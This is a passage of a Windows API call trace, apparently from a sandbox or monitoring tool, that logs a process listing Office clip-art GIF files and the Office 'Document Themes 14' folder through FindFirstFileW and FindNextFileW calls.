	[0051.762] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x38c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02039_.GIF", cAlternateFileName="")) returned 1
	[0051.762] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x987, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02055_.GIF", cAlternateFileName="")) returned 1
	[0051.762] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x37d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02073_.GIF", cAlternateFileName="")) returned 1
	[0051.762] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x516, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02074_.GIF", cAlternateFileName="")) returned 1
	[0051.762] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02077_.GIF", cAlternateFileName="")) returned 1
	[0051.762] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x996, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02082_.GIF", cAlternateFileName="")) returned 1
	[0051.762] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02085_.GIF", cAlternateFileName="")) returned 1
	[0051.762] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x581, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02097_.GIF", cAlternateFileName="")) returned 1
	[0051.762] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x15fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02106_.GIF", cAlternateFileName="")) returned 1
	[0051.762] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x3ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02116_.GIF", cAlternateFileName="")) returned 1
	[0051.762] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x97f, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02134_.GIF", cAlternateFileName="")) returned 1
	[0051.762] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x579, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02187_.GIF", cAlternateFileName="")) returned 1
	[0051.762] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x4abc, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02198_.GIF", cAlternateFileName="")) returned 1
	[0051.762] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1653, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02201_.GIF", cAlternateFileName="")) returned 1
	[0051.762] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x136b, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02214_.GIF", cAlternateFileName="")) returned 1
	[0051.762] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02218_.GIF", cAlternateFileName="")) returned 1
	[0051.762] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0051.763] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0051.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14" (normalized: "c:\\program files\\microsoft office\\document themes 14"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.772] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\*", lpFindFileData=0x127d397c | out: lpFindFileData=0x127d397c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.774] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5cd5260, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.775] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f664b00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5f664b00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd0aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.thmx", cAlternateFileName="ADJACE~1.THM")) returned 1
	[0051.775] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62f9d200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5943160, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x62f9d200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x11098, dwReserved0=0x0, dwReserved1=0x0, cFileName="Angles.thmx", cAlternateFileName="ANGLES~1.THM")) returned 1
	[0051.775] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfda5e100, ftCreationTime.dwHighDateTime=0x1cbded8, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfda5e100, ftLastWriteTime.dwHighDateTime=0x1cbded8, nFileSizeHigh=0x0, nFileSizeLow=0x3f427, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apex.thmx", cAlternateFileName="APEX~1.THM")) returned 1
	[0051.775] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd43200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3cd43200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x15a56, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apothecary.thmx", cAlternateFileName="APOTHE~1.THM")) returned 1
	[0051.775] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1396800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59692c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1396800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x109e5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.thmx", cAlternateFileName="ASPECT~1.THM")) returned 1
	[0051.775] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4067b900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe598f420, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4067b900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1763b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Austin.thmx", cAlternateFileName="AUSTIN~1.THM")) returned 1
	[0051.775] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x668d5900, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x668d5900, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9ff03, dwReserved0=0x0, dwReserved1=0x0, cFileName="Black Tie.thmx", cAlternateFileName="BLACKT~1.THM")) returned 1
	[0051.775] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4ccef00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59b5580, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4ccef00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x18c11, dwReserved0=0x0, dwReserved1=0x0, cFileName="Civic.thmx", cAlternateFileName="CIVIC~1.THM")) returned 1
	[0051.775] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43fb4000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe59db6e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x43fb4000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x105f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clarity.thmx", cAlternateFileName="CLARIT~1.THM")) returned 1
	[0051.775] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a20e000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a01840, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6a20e000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8ad4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Composite.thmx", cAlternateFileName="COMPOS~1.THM")) returned 1
	[0051.775] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8607600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a279a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x8607600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1240d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Concourse.thmx", cAlternateFileName="CONCOU~1.THM")) returned 1
	[0051.775] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ee59400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6ee59400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1e92c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Couture.thmx", cAlternateFileName="COUTUR~1.THM")) returned 1
	[0051.775] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73aa4800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5a99dc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73aa4800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x555df, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elemental.thmx", cAlternateFileName="ELEMEN~1.THM")) returned 1
	[0051.775] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2d000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac2d000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x10f61, dwReserved0=0x0, dwReserved1=0x0, cFileName="Equity.thmx", cAlternateFileName="EQUITY~1.THM")) returned 1
	[0051.775] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x478ec700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5abff20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x478ec700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xc278, dwReserved0=0x0, dwReserved1=0x0, cFileName="Essential.thmx", cAlternateFileName="ESSENT~1.THM")) returned 1
	[0051.775] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x773dcf00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x773dcf00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd748, dwReserved0=0x0, dwReserved1=0x0, cFileName="Executive.thmx", cAlternateFileName="EXECUT~1.THM")) returned 1
	[0051.775] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11e9de00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ae6080, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x11e9de00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x100a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flow.thmx", cAlternateFileName="FLOW~1.THM")) returned 1
	[0051.775] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe565700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe565700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xf814, dwReserved0=0x0, dwReserved1=0x0, cFileName="Foundry.thmx", cAlternateFileName="FOUNDR~1.THM")) returned 1
	[0051.775] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b224e00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b0c1e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4b224e00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd2e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grid.thmx", cAlternateFileName="GRID~1.THM")) returned 1
	[0051.775] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d84a800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4d84a800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x60041, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardcover.thmx", cAlternateFileName="HARDCO~1.THM")) returned 1
	[0051.776] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ad15600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7ad15600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x3becb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Horizon.thmx", cAlternateFileName="HORIZO~1.THM")) returned 1
	[0051.776] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x157d6500, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x157d6500, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x146a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Median.thmx", cAlternateFileName="MEDIAN~1.THM")) returned 1
	[0051.776] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1910ec00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1910ec00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x13af1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metro.thmx", cAlternateFileName="METRO~1.THM")) returned 1
	[0051.776] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b734600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b734600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1583a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.thmx", cAlternateFileName="MODULE~1.THM")) returned 1
	[0051.776] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e64dd00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7e64dd00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x96ac7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.thmx", cAlternateFileName="NEWSPR~1.THM")) returned 1
	[0051.776] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f06cd00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5ba4760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1f06cd00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x132b9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Opulent.thmx", cAlternateFileName="OPULEN~1.THM")) returned 1
	[0051.776] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x229a5400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x229a5400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x16ef4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oriel.thmx", cAlternateFileName="ORIEL~1.THM")) returned 1
